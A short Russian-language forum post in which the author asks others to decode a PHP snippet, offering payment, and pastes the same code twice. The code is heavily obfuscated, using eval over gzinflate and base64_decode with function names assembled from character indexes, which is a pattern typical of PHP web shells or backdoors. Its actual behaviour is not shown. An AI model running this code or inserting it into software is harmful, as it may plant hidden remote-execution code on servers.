знаю я, что на форуме куча умных людей, раскодируйте пазязя, с меня ловэ <?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw=='))); $O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11]; $keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1); $OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11]; $O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11]; eval($OO000OO000OO(base64_decode('LVe3Dq xIFv2ZlWaeCKDxaCO8941NVnjvPV8/PdImZJSq7j 22OJP+7/+YJgRB///8nSZbgaP/y4tsyou//9LiUu LWUOUjp7x3lTo/jd091/mYnc3VHSy04/gaFgFbqs gFqogXwwEsE9qBxFli1cDwEliCT670OxNZoNnAr9 oQIAhstvAy1KSM9b0U6HLoilVzg2GRLqUUDNdKNa 1+H+5KoV5f0wkAl9VUbJilMUZu6YOLNBZXIyX/DL xKqZyCyxWt+nwJnzJZLFjgOJV+9lf8XhKqZoNg+8 qksRAulWYMovhXOFX3w784KPWGhGNqx8H9xHsnBj +Jug4k8E4n0z+8rhAIfC4T8ZjFgEgjNVEj+v1khh 0DOc8f0/EddhGu1bFeK1aW9wYR7Y1k+jg1A0bJok YOZ0syEdiCVlw0y+1gtLtvyeR8qk0LzjPTpQP9zV 6WNl6HCoS7ZMSGvmP4sNkRHgjpgD5jh7PbfJw0vA IA9aOaOqvdwusbtTISlldIH+hzdB4ib/yt10yzVE v3BuZqdCV3epP23GHdBPoHZVA9e77dSofvBlE3hp sTTQjfdfFeLO9GnsdJRgWF+1EW0A07bQ6hY12lht AYqS61VWUF4NVVRFCDOYJJRYSL0ksNAH9zlIC2rt ILcy8SWqTeNOodMTCr8YkpMLuu275mST3FqSZU0D YQizX3z8B9Z79gUbQfhBeVc/fbnfhU9gL/dcBuGr bHuaV4gvHHhNSN5KMB7wHj1TvRDRxTKCOdzpXI6c Z***3XBUkWhie5FXQTrgOYBZMlpDJdRA6YFlB4nI yAUZk3UgVykU7vlF2xUshziwdyhOcNACajqxv9E0 +iPMqys3TOb0eGl/Mi3y+rBScmXQidLtdzwx4oT6 f5QvjR4oRq0Nke4dScjOE51jQW5S5fvO4oZdgDZT 2leB7MbNY6krkwehYho7wgpFiY4s5y3f1UKnjL8V tAU9hFZSSsRHk8TEutLnJUyqXr6AFaDuJKvEFCdf sW1PH4WbweXQUULBPvzt6Ecmcc0c0SUAjK1VVRSf RMn1utnoshGvmTnqmseA1zi6tCVBSYtlBcfxbp1C IeFbNXmEwmNJ8ogj7t1Mexvn129Wkm9qxXp//WdY 5v3D3gDPN0Jii1JvM+8FjLZ8uxwfbOfJUGmK4Gq+ +uUdeTmDTVlxz/nqt/+RDtoQCRZ28uvN7gs48l6H 7fcjU5jEhqP7qDSaedLoSg5ArW9T6PCB+zwitNyG wdZIhRHDXFBvOoBtY9/lH427APy9Wfqv5W042Zae TY8Nc94sbGQjrlHgOgQf7zFFyfYq+swGsiEuq2oi T1maBW4q4B1V+8tA9ijzvjk2rvB6yKPktYTsgOhM CCFq+FqvNuPzx6IqvTrf1mzwG0myXNX8/zDCtkIQ 1awoTQXNGqSENFElcBSNLE1dx0eiAkioQacc0WpL hjbfYkYLD+BlI0AJ1fGoAIUTa2z6fxlmLiRwoFpI H1Tmp88ytQU2xNpEMU1k/5fPMHD8xPIqzKCFt758 ybzcWDjZnSWw9GzabAZmbPJOmOJf1wb1WHwK3Fu2 TaTNrmt6KDLcSMEY/whdNdCFKDhXzLPrWkV/TGAG PTNUsSbIlnFA9GfbVjdUIGxk2XTj3SIV3CSdR8NP jtULtUJ4FCJlErbV3FUhOnfxWV4bdtM5EHjAPeR5 L1J8mTQpxpbGzfxuvhImvmj7KFHawN2xaMuQNDvk 5daU31v4GMWknC3c5TmOTX9YFyNh8/8ak3K33JcH KemPFgQegEhRuHVC025geZqri7aWQF6TTm+p4sSQ 5INWDGStjS/bx1qLYUtR8hcVGjI9cSnSmqMGUYH9 kLnPjSG5bcvdTRCwsNed4hmgy+En3pAQCI7tnkNc yWALTDvlnq+nGKY3lfsvVx+vPERutFYH4SZCkdUv dl9ywgoNfoKennsA3NuX8GUj2yaBvn7zcnmPP3N/ dNt0Zx4jIv8L1vgHXwiwmYOfjqDt4DImNQl2KbdE 3iAXVryMwT37qu1OLm9frrF6Hdyez90uRV3Ql8ku u4CK+EBkvCPGwV2qyNaJ7BLmltVKexsnOnuEscmY NTpRZVfdnX0aHK8Vh/AnQ7szKfnNopot/WV1g88M ZxMqv1EGMeeEDsoHPXUyBYCD1b9yXUiqb5JM3teo UCXqvpcU+w05V52cBVxer6O+CyHf0Ah5dzCgaXFT 0j/nWlegwYWgU9+6YVOT2mvJJYGS+qzZbx3+gpjF 54+a8PsdFc1xQZz4ahozHFsxczpuQkwJ1RhQb56f kMdNuvNYlr5oEb6nmJlhVbbdXlxM+e2GJp0Acp5r ro3APM3X8FQDmUVe7NIzNzjWBk3+JmuMFk1XeLLo UACJIByx77Zxvh+NPH85o/Ie41xhXSF3zvcSXuZo d2j+SnDghiq5HOG4W7vDZHkjIZkAMgt94L+cANpq fKVNvwJEMjIlGTkGjvr8V1DSMbh02qu5gmNbVnDZ o1ZXnFsJyaWqQ/WIX8TI3RszfDepmf4+Qrkf6GN+ PzSpLWGFAsURFjvy/RuOUw01S6I8eM/7herYBttH qgOZDoT+RPUR2/xflTUBT0wVmroYsQDs86vlC/bt c4vWLeLKpl6upTJfqU7H4E9ngyktbh/BruSOzvEw P0IAa4Wn37y/Xgt8NWoZA7czLYoKpZPyW6NnPVd3 zzbfbkRZ25Z6hcwBIk/3uYzibPS58V4spSDTVqcJ drmelKFJx1O3kUsHMsCxLht3aP5Wkcanw9VeGfHJ QgTKwXX9Yiu/xHwvYDtEc1msYZfysFGM80XAWhy8 eb6Nj2pAiUBOxXxGqcFMAmyzZK9xrRqyJ2tun8PB lO+zguidtxIr4JOrDX3eBqK3DllJ0j/5GkW+E1nG lZFYmjGtEVel4noOsXvaKrLPw8FUPbQiOyXcI2+2 HeA6sJIozFrrWeU9p8WidVR+qwUnBnPtSCEB598a 1fVk6MHyEiC8GFJrrQMFMT9rHzvvUBlHKtffGp0q yrBMYaOB9vC5HzcwlboYwtK/Vb0EQFBnRLNT9fQn 7TuzHwvXR0W4+hbvn2bwX4g5Xl2OZuUpQLcbAbZF bubrOfKddbw7dNM4HwHLmWBCKsA9CnIhNNsMvpfr GCV1h9bz6W2+FBQIqcvNz6x4KBYHR4RP+2lsPMZW W58y3mh7RyDkwZ6C8BM1kwCdlsuU3Mja+8eu8mI8 kiHL5ZjzOoaLyLi01zd4VV6l7LzCZdWp7LKea5Nx K2OTIWUos2s26KCnUmf6WUp742I36PzuMWojHxWI ctERz06Bezdx7vvl/hRp6Ovx6nvdF+myhiZSX8E0 ubSYDyLAlPbVUp0bvshU70J1Ho+NQm4xTFOH3hRx 0PYHse7DmQOamHJ4+rOIQHGFjlQoMNIRhRaXQSKz zYSZxwRoJABrQ80zXo131npfglo3IKw3DsK1oo6n G4YPWrLNAdDVP+k+YQyCUcQZumFvNzmKbTXh0N7R Wh0Z72ZPfy46URp/F2JX7fF6lUqi6oVmiVS2T5T7 1zwFhqp4aOoEx3SPmJzwso5qjqgpDy8CimErJQV+ JjtTvdJTf6O8nZtCp94qpnnZfCf/kNv8d9hSPrVM R1Kc/tC81FKr7yJTNaPLjAFOoOYLL13UscbNb7aI MYR7ufocW1AxpZdj1ay1CKmzAX88Lb8n1h4Uu4kQ ItWhikv4ukn545PumwMzokws5iQoG7G3NZQ/S2CT EBff1+q78F36ti7MIvrvtkEdWjLrrr9DNlfbsAUo ROenb1Jy08n4IAQ81PIi7C2p16ycBV4zPYYxA3cz YLlqcva8pFBlLx/bxtqjVGU3HdN7D3os4BNOfIux aWRAzMN/UkP/el3ZZSjEIBzgGrmvKbYrz0TcE+Zo iY/PiEZxNFCYJJrCrLNSY4LPi8eEtu+VOlOkKssf YymC+Kx7Kvsts1/BPJASimc4NeJQu3TY0X3EBOOc 0j3ZPj4HIqzRCmZlU2XE9opeyc0kHiPyZ2g/xK7Q AhsnVAehl2FT34WrRCSYIEebCWnrgejLei8lNBSZ Z8rE/oILblgUld/BofOeOxHTR4BpoTxRoCAB/TXA M5wbacSY1hdUj7OKvqGgb6Gp14UrVziuDDbRLJL5 hK+ooxTT9nnQSsLRYMCT2Myd6czip6VIrjdI2CWi fyla56L+k7yDBYP3GSJpLIu2GX1VQgN2tupUfQbj PA2fANpBhcj8lDdALYkE7QXhwKksVfTGGtJl958h vfkxwtitCuIDfL4ujXVT3FYzHuJpYHVyjrs3lA9c Tc8WYPF0wIMhmbEjzaCEFAkfe2cXDuU6HXbnCX2l b3SpYWN02bQxc7gnvU6heYI/odByLhO1DRJjeioj XpT4SAxnBz2umALz1OHZC3qlNaJ9fdjnfBFK5GxE 0OMggtMcasnHZv1CoPWQTz1ccbkR7jTGcaZn7vTt CN26+06j25f8B0+9RMGAfYh98TwhGLOCI9kMNfn3 4zTpStWQ7NN9waycYPMAdEYObNS91+sAgSkFVgCl G61AWj2/uc3FxIV58RtyxPt61psedeSHmrRxXMZB OSIXahmtxQkNqTgoBVS8Lhv7Dwq5DsJs7q8d5Nxe pWtiBj9fUyQeItuYsCyAd2jxuRW07HhB94L9YEXr A/4aqRQhiBLmf4NjqBMFQF5fjFLmBIJaZHbFRgwa VEV1xdGL1RiPmoCErq1I6JKx5SolEYP12rCoPf9j Ww+GhxsgT8IegtHKTEqmN4XAZtEL6eozvv0Fx7Z5 GBm7xv0iHPUnh5+TZt+BNol5R+8qncw+cWmMf4fD kx3BnARinlEUIrls8EsNP6veWKFXHYMHN8SQV0H2 4M5GLCDVfGtSKd7xQJ3o+MZoKGHdpzr9501Ripv1 UQX4umFu7ry4ajSxZXTtJVRennLxMYVCYi9QznrK agesTVb+8koekqukrB6S291O0CgUrd8pnfl6HBh/ 3bMwN8aw1ZBySCXAK78I2lq4lHnFzv6pxrpzsr7P E7FOt6F6/1yW0X62uk5fs1Mi24v0rmGMo6WXtVkG B1g4+816seK9Ffa8LRCdm+jov0hpQDnP/EcaLgjM 3vT6dhOgsNFJ5QEiD+GkEmGbtrlH6W8HhhdmnEsF HJ+eUXAYJ5sd1NyGVJ86Yp9TmmGKKmSgETMlHO8v 07kJbVh6PwPLa7q1xo4J0rvs2EzXNgNaiXZ24ocy IFmKdNIU2pZgJIPjb9I1CMDeFpOH0WUw6ICdeeHT 0aAUCYINySJNxaA2AMDPMZJ00SebmokTrfHS2zNB DiuxlU5KU3yGBPfppwmCW7i/TEz37ik4Obn7Js9e QTEg6vofjqXJubUmSrigamC7FCcOrWaN+cLz2vFV BPhwP7Iqtgy23vh0XYqhMmvlXRM6ka1/cDS+6OwY kPv4Kw9Y3YvjlGQ+0uJ/Xl7lnYBzoLZZ10GQA7R/ CyrdCOdCwAKHgmJWEJwnzXarvnqH/VGtUpPTwTeO ruW2YnGy9pZS2dtG+wuXhjm58/T68c+PJLtIHIGM DqFePpIzZDeNdWckDAg/lz5TPgt+KzgN6lcgAWiC RbqdntSnAEUL/zcd4ROpVQg+RRtK/AbtNbgtXz5m X8pMmvNhhsWc9aEfgP7qgroo8Mci93n/RyreytHA Gl9VWklyPoJue/wUN0g9/tTBTf+iin0cnk24qf6R 68BiWfB2mDuFR9Aat8Imn/SUvdGFvGqJktfxE9gw VgL39GS1r4StsT6N3tBrbFsezEMfiAmcrzhG1A21 5V9KhZhWPrHDIkq/S3GU0ZzkNh50BoE9sjLVv0IK 0wHxL94qWY4o2sAA6eN6z4Ud0umVxaoD9uNCIcpO j3lP1aCRGzSKOH9InoljDmRjiqjX9IkVp6TOGMUO JYQFGHFkDXGfVG49k5GUgV5/MchKHFAQl62+KpB0 /lK0royEuR2jAirIGmrbVOTI3yuaGxckuCizttQG dWKUTDzfFjPhuJCGi00B7qOS+ni2ftmIPUnyU42B aLCyz81TDZqnVcSORvnkRSir/mwuBYUpNKb+R+/b vguTgjFQaw/gqdPpmty5Fcv9s/2GY8xRUcN+i+ZR mnzg5pJ8NzVLLlQH98+shnkchL7It+HV0uf3SwLh zbcnLOCTyakU9Sv/KbtLp5oJG8eZ1LGb/c4Dxw1X UkKIWRXpTdOhlYmXwKAdrrqrVZG0AIpzKOVP6hAN 7sx3nRgmSXlB/jaJk9wD1H8wCI+ze79bIX9FO+xK Z8HC7wIKwrwb6K/Lcky4DKCWxTaYVyPPcjnesh9+ IEEzg2qgNdBK0+2sIgIjnBqDQRcNHRg0tuubG6oZ Qd4M07Qdbir5sHoi6gWrFduhkoYTWCV8RMZ3AaDM 13uRwq47OCRGahpdXwc4GHxXnQAN/pKCb8IQ0sUQ JKUwgkN6iZoE7t/dShfmn4aZgbVlbvSxplwBeEnm zk6oo36GPKicjKlADSe+NheXtXRgdAFrDGnn6drp 2/wefIqSJtXOxgt+ZiccQquHAhpb3cJiay86ps+5 kqr/IJ7asRx8sZRujNrXVU7m+8XHz4UoabLYqa6B rhIhaohEI7Co1UD0nfHiff4Ij8cB5rriToTqjHde hn9T9SHqc0VRijXrkO7DhNxpdwrjU12QrAdUazHo UVzYyBgbPIDK+xoUf+828IbPTmU7dqFUwfZxFp9x cDvvbnzDLP1PmfEbc38sPT/D2Kyl5etWqrLZPGPO n3RLF9C+ipMrDJGXC4kqZY70ODLjx/5q76EWHKWd Rzc3kDR9W7QMPEt0jUrAkzoSYHZFQ/wryLzKzDic VFIbPRSqpvEdMTT39DtR8aLRMbQUgUF5luI19Tvw AyFwpy2Av7KybwgEsFOWxLgbNeiydeWkrpiwPH7b CBCFC/dOl24WLpoN9Vp2Ji2+8BI0Wl3G2y59Guw1 TJDsrvCzAjw4bACETcsDbnJe65k1bMj1VlcW78ui CLSu7WuSqGA6g7hKhGaFqCkOELz/sPlz7nIsGdT/ Y1MeBX1ADcfFgm8wyKhtewmOylJ/aSDxQ6E0NmYx +GBc8QAamf8I4jSDJ//fnz57//AA=='))); ?> Код <?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw=='))); $O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11]; $keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1); $OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11]; $O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11]; eval($OO000OO000OO(base64_decode('LVe3Dq xIFv2ZlWaeCKDxaCO8941NVnjvPV8/PdImZJSq7j 22OJP+7/+YJgRB///8nSZbgaP/y4tsyou//9LiUu LWUOUjp7x3lTo/jd091/mYnc3VHSy04/gaFgFbqs gFqogXwwEsE9qBxFli1cDwEliCT670OxNZoNnAr9 oQIAhstvAy1KSM9b0U6HLoilVzg2GRLqUUDNdKNa 1+H+5KoV5f0wkAl9VUbJilMUZu6YOLNBZXIyX/DL xKqZyCyxWt+nwJnzJZLFjgOJV+9lf8XhKqZoNg+8 qksRAulWYMovhXOFX3w784KPWGhGNqx8H9xHsnBj +Jug4k8E4n0z+8rhAIfC4T8ZjFgEgjNVEj+v1khh 0DOc8f0/EddhGu1bFeK1aW9wYR7Y1k+jg1A0bJok YOZ0syEdiCVlw0y+1gtLtvyeR8qk0LzjPTpQP9zV 6WNl6HCoS7ZMSGvmP4sNkRHgjpgD5jh7PbfJw0vA IA9aOaOqvdwusbtTISlldIH+hzdB4ib/yt10yzVE v3BuZqdCV3epP23GHdBPoHZVA9e77dSofvBlE3hp sTTQjfdfFeLO9GnsdJRgWF+1EW0A07bQ6hY12lht AYqS61VWUF4NVVRFCDOYJJRYSL0ksNAH9zlIC2rt ILcy8SWqTeNOodMTCr8YkpMLuu275mST3FqSZU0D YQizX3z8B9Z79gUbQfhBeVc/fbnfhU9gL/dcBuGr bHuaV4gvHHhNSN5KMB7wHj1TvRDRxTKCOdzpXI6c Z***3XBUkWhie5FXQTrgOYBZMlpDJdRA6YFlB4nI yAUZk3UgVykU7vlF2xUshziwdyhOcNACajqxv9E0 +iPMqys3TOb0eGl/Mi3y+rBScmXQidLtdzwx4oT6 f5QvjR4oRq0Nke4dScjOE51jQW5S5fvO4oZdgDZT 2leB7MbNY6krkwehYho7wgpFiY4s5y3f1UKnjL8V tAU9hFZSSsRHk8TEutLnJUyqXr6AFaDuJKvEFCdf sW1PH4WbweXQUULBPvzt6Ecmcc0c0SUAjK1VVRSf RMn1utnoshGvmTnqmseA1zi6tCVBSYtlBcfxbp1C IeFbNXmEwmNJ8ogj7t1Mexvn129Wkm9qxXp//WdY 5v3D3gDPN0Jii1JvM+8FjLZ8uxwfbOfJUGmK4Gq+ +uUdeTmDTVlxz/nqt/+RDtoQCRZ28uvN7gs48l6H 7fcjU5jEhqP7qDSaedLoSg5ArW9T6PCB+zwitNyG wdZIhRHDXFBvOoBtY9/lH427APy9Wfqv5W042Zae TY8Nc94sbGQjrlHgOgQf7zFFyfYq+swGsiEuq2oi T1maBW4q4B1V+8tA9ijzvjk2rvB6yKPktYTsgOhM CCFq+FqvNuPzx6IqvTrf1mzwG0myXNX8/zDCtkIQ 1awoTQXNGqSENFElcBSNLE1dx0eiAkioQacc0WpL hjbfYkYLD+BlI0AJ1fGoAIUTa2z6fxlmLiRwoFpI H1Tmp88ytQU2xNpEMU1k/5fPMHD8xPIqzKCFt758 ybzcWDjZnSWw9GzabAZmbPJOmOJf1wb1WHwK3Fu2 TaTNrmt6KDLcSMEY/whdNdCFKDhXzLPrWkV/TGAG PTNUsSbIlnFA9GfbVjdUIGxk2XTj3SIV3CSdR8NP jtULtUJ4FCJlErbV3FUhOnfxWV4bdtM5EHjAPeR5 L1J8mTQpxpbGzfxuvhImvmj7KFHawN2xaMuQNDvk 5daU31v4GMWknC3c5TmOTX9YFyNh8/8ak3K33JcH KemPFgQegEhRuHVC025geZqri7aWQF6TTm+p4sSQ 5INWDGStjS/bx1qLYUtR8hcVGjI9cSnSmqMGUYH9 kLnPjSG5bcvdTRCwsNed4hmgy+En3pAQCI7tnkNc yWALTDvlnq+nGKY3lfsvVx+vPERutFYH4SZCkdUv dl9ywgoNfoKennsA3NuX8GUj2yaBvn7zcnmPP3N/ dNt0Zx4jIv8L1vgHXwiwmYOfjqDt4DImNQl2KbdE 3iAXVryMwT37qu1OLm9frrF6Hdyez90uRV3Ql8ku u4CK+EBkvCPGwV2qyNaJ7BLmltVKexsnOnuEscmY NTpRZVfdnX0aHK8Vh/AnQ7szKfnNopot/WV1g88M ZxMqv1EGMeeEDsoHPXUyBYCD1b9yXUiqb5JM3teo UCXqvpcU+w05V52cBVxer6O+CyHf0Ah5dzCgaXFT 0j/nWlegwYWgU9+6YVOT2mvJJYGS+qzZbx3+gpjF 54+a8PsdFc1xQZz4ahozHFsxczpuQkwJ1RhQb56f kMdNuvNYlr5oEb6nmJlhVbbdXlxM+e2GJp0Acp5r ro3APM3X8FQDmUVe7NIzNzjWBk3+JmuMFk1XeLLo UACJIByx77Zxvh+NPH85o/Ie41xhXSF3zvcSXuZo d2j+SnDghiq5HOG4W7vDZHkjIZkAMgt94L+cANpq fKVNvwJEMjIlGTkGjvr8V1DSMbh02qu5gmNbVnDZ o1ZXnFsJyaWqQ/WIX8TI3RszfDepmf4+Qrkf6GN+ PzSpLWGFAsURFjvy/RuOUw01S6I8eM/7herYBttH qgOZDoT+RPUR2/xflTUBT0wVmroYsQDs86vlC/bt c4vWLeLKpl6upTJfqU7H4E9ngyktbh/BruSOzvEw P0IAa4Wn37y/Xgt8NWoZA7czLYoKpZPyW6NnPVd3 zzbfbkRZ25Z6hcwBIk/3uYzibPS58V4spSDTVqcJ drmelKFJx1O3kUsHMsCxLht3aP5Wkcanw9VeGfHJ QgTKwXX9Yiu/xHwvYDtEc1msYZfysFGM80XAWhy8 eb6Nj2pAiUBOxXxGqcFMAmyzZK9xrRqyJ2tun8PB lO+zguidtxIr4JOrDX3eBqK3DllJ0j/5GkW+E1nG lZFYmjGtEVel4noOsXvaKrLPw8FUPbQiOyXcI2+2 HeA6sJIozFrrWeU9p8WidVR+qwUnBnPtSCEB598a 1fVk6MHyEiC8GFJrrQMFMT9rHzvvUBlHKtffGp0q yrBMYaOB9vC5HzcwlboYwtK/Vb0EQFBnRLNT9fQn 7TuzHwvXR0W4+hbvn2bwX4g5Xl2OZuUpQLcbAbZF bubrOfKddbw7dNM4HwHLmWBCKsA9CnIhNNsMvpfr GCV1h9bz6W2+FBQIqcvNz6x4KBYHR4RP+2lsPMZW W58y3mh7RyDkwZ6C8BM1kwCdlsuU3Mja+8eu8mI8 kiHL5ZjzOoaLyLi01zd4VV6l7LzCZdWp7LKea5Nx K2OTIWUos2s26KCnUmf6WUp742I36PzuMWojHxWI ctERz06Bezdx7vvl/hRp6Ovx6nvdF+myhiZSX8E0 ubSYDyLAlPbVUp0bvshU70J1Ho+NQm4xTFOH3hRx 0PYHse7DmQOamHJ4+rOIQHGFjlQoMNIRhRaXQSKz zYSZxwRoJABrQ80zXo131npfglo3IKw3DsK1oo6n G4YPWrLNAdDVP+k+YQyCUcQZumFvNzmKbTXh0N7R Wh0Z72ZPfy46URp/F2JX7fF6lUqi6oVmiVS2T5T7 1zwFhqp4aOoEx3SPmJzwso5qjqgpDy8CimErJQV+ JjtTvdJTf6O8nZtCp94qpnnZfCf/kNv8d9hSPrVM R1Kc/tC81FKr7yJTNaPLjAFOoOYLL13UscbNb7aI MYR7ufocW1AxpZdj1ay1CKmzAX88Lb8n1h4Uu4kQ ItWhikv4ukn545PumwMzokws5iQoG7G3NZQ/S2CT EBff1+q78F36ti7MIvrvtkEdWjLrrr9DNlfbsAUo ROenb1Jy08n4IAQ81PIi7C2p16ycBV4zPYYxA3cz YLlqcva8pFBlLx/bxtqjVGU3HdN7D3os4BNOfIux aWRAzMN/UkP/el3ZZSjEIBzgGrmvKbYrz0TcE+Zo iY/PiEZxNFCYJJrCrLNSY4LPi8eEtu+VOlOkKssf YymC+Kx7Kvsts1/BPJASimc4NeJQu3TY0X3EBOOc 0j3ZPj4HIqzRCmZlU2XE9opeyc0kHiPyZ2g/xK7Q AhsnVAehl2FT34WrRCSYIEebCWnrgejLei8lNBSZ Z8rE/oILblgUld/BofOeOxHTR4BpoTxRoCAB/TXA M5wbacSY1hdUj7OKvqGgb6Gp14UrVziuDDbRLJL5 hK+ooxTT9nnQSsLRYMCT2Myd6czip6VIrjdI2CWi fyla56L+k7yDBYP3GSJpLIu2GX1VQgN2tupUfQbj PA2fANpBhcj8lDdALYkE7QXhwKksVfTGGtJl958h vfkxwtitCuIDfL4ujXVT3FYzHuJpYHVyjrs3lA9c Tc8WYPF0wIMhmbEjzaCEFAkfe2cXDuU6HXbnCX2l b3SpYWN02bQxc7gnvU6heYI/odByLhO1DRJjeioj XpT4SAxnBz2umALz1OHZC3qlNaJ9fdjnfBFK5GxE 0OMggtMcasnHZv1CoPWQTz1ccbkR7jTGcaZn7vTt CN26+06j25f8B0+9RMGAfYh98TwhGLOCI9kMNfn3 4zTpStWQ7NN9waycYPMAdEYObNS91+sAgSkFVgCl G61AWj2/uc3FxIV58RtyxPt61psedeSHmrRxXMZB OSIXahmtxQkNqTgoBVS8Lhv7Dwq5DsJs7q8d5Nxe pWtiBj9fUyQeItuYsCyAd2jxuRW07HhB94L9YEXr A/4aqRQhiBLmf4NjqBMFQF5fjFLmBIJaZHbFRgwa VEV1xdGL1RiPmoCErq1I6JKx5SolEYP12rCoPf9j Ww+GhxsgT8IegtHKTEqmN4XAZtEL6eozvv0Fx7Z5 GBm7xv0iHPUnh5+TZt+BNol5R+8qncw+cWmMf4fD kx3BnARinlEUIrls8EsNP6veWKFXHYMHN8SQV0H2 4M5GLCDVfGtSKd7xQJ3o+MZoKGHdpzr9501Ripv1 UQX4umFu7ry4ajSxZXTtJVRennLxMYVCYi9QznrK agesTVb+8koekqukrB6S291O0CgUrd8pnfl6HBh/ 3bMwN8aw1ZBySCXAK78I2lq4lHnFzv6pxrpzsr7P E7FOt6F6/1yW0X62uk5fs1Mi24v0rmGMo6WXtVkG B1g4+816seK9Ffa8LRCdm+jov0hpQDnP/EcaLgjM 3vT6dhOgsNFJ5QEiD+GkEmGbtrlH6W8HhhdmnEsF HJ+eUXAYJ5sd1NyGVJ86Yp9TmmGKKmSgETMlHO8v 07kJbVh6PwPLa7q1xo4J0rvs2EzXNgNaiXZ24ocy IFmKdNIU2pZgJIPjb9I1CMDeFpOH0WUw6ICdeeHT 0aAUCYINySJNxaA2AMDPMZJ00SebmokTrfHS2zNB DiuxlU5KU3yGBPfppwmCW7i/TEz37ik4Obn7Js9e QTEg6vofjqXJubUmSrigamC7FCcOrWaN+cLz2vFV BPhwP7Iqtgy23vh0XYqhMmvlXRM6ka1/cDS+6OwY kPv4Kw9Y3YvjlGQ+0uJ/Xl7lnYBzoLZZ10GQA7R/ CyrdCOdCwAKHgmJWEJwnzXarvnqH/VGtUpPTwTeO ruW2YnGy9pZS2dtG+wuXhjm58/T68c+PJLtIHIGM DqFePpIzZDeNdWckDAg/lz5TPgt+KzgN6lcgAWiC RbqdntSnAEUL/zcd4ROpVQg+RRtK/AbtNbgtXz5m X8pMmvNhhsWc9aEfgP7qgroo8Mci93n/RyreytHA Gl9VWklyPoJue/wUN0g9/tTBTf+iin0cnk24qf6R 68BiWfB2mDuFR9Aat8Imn/SUvdGFvGqJktfxE9gw VgL39GS1r4StsT6N3tBrbFsezEMfiAmcrzhG1A21 5V9KhZhWPrHDIkq/S3GU0ZzkNh50BoE9sjLVv0IK 0wHxL94qWY4o2sAA6eN6z4Ud0umVxaoD9uNCIcpO j3lP1aCRGzSKOH9InoljDmRjiqjX9IkVp6TOGMUO JYQFGHFkDXGfVG49k5GUgV5/MchKHFAQl62+KpB0 /lK0royEuR2jAirIGmrbVOTI3yuaGxckuCizttQG dWKUTDzfFjPhuJCGi00B7qOS+ni2ftmIPUnyU42B aLCyz81TDZqnVcSORvnkRSir/mwuBYUpNKb+R+/b vguTgjFQaw/gqdPpmty5Fcv9s/2GY8xRUcN+i+ZR mnzg5pJ8NzVLLlQH98+shnkchL7It+HV0uf3SwLh zbcnLOCTyakU9Sv/KbtLp5oJG8eZ1LGb/c4Dxw1X UkKIWRXpTdOhlYmXwKAdrrqrVZG0AIpzKOVP6hAN 7sx3nRgmSXlB/jaJk9wD1H8wCI+ze79bIX9FO+xK Z8HC7wIKwrwb6K/Lcky4DKCWxTaYVyPPcjnesh9+ IEEzg2qgNdBK0+2sIgIjnBqDQRcNHRg0tuubG6oZ Qd4M07Qdbir5sHoi6gWrFduhkoYTWCV8RMZ3AaDM 13uRwq47OCRGahpdXwc4GHxXnQAN/pKCb8IQ0sUQ JKUwgkN6iZoE7t/dShfmn4aZgbVlbvSxplwBeEnm zk6oo36GPKicjKlADSe+NheXtXRgdAFrDGnn6drp 2/wefIqSJtXOxgt+ZiccQquHAhpb3cJiay86ps+5 kqr/IJ7asRx8sZRujNrXVU7m+8XHz4UoabLYqa6B rhIhaohEI7Co1UD0nfHiff4Ij8cB5rriToTqjHde hn9T9SHqc0VRijXrkO7DhNxpdwrjU12QrAdUazHo UVzYyBgbPIDK+xoUf+828IbPTmU7dqFUwfZxFp9x cDvvbnzDLP1PmfEbc38sPT/D2Kyl5etWqrLZPGPO n3RLF9C+ipMrDJGXC4kqZY70ODLjx/5q76EWHKWd Rzc3kDR9W7QMPEt0jUrAkzoSYHZFQ/wryLzKzDic VFIbPRSqpvEdMTT39DtR8aLRMbQUgUF5luI19Tvw AyFwpy2Av7KybwgEsFOWxLgbNeiydeWkrpiwPH7b CBCFC/dOl24WLpoN9Vp2Ji2+8BI0Wl3G2y59Guw1 TJDsrvCzAjw4bACETcsDbnJe65k1bMj1VlcW78ui CLSu7WuSqGA6g7hKhGaFqCkOELz/sPlz7nIsGdT/ Y1MeBX1ADcfFgm8wyKhtewmOylJ/aSDxQ6E0NmYx +GBc8QAamf8I4jSDJ//fnz57//AA=='))); ?>
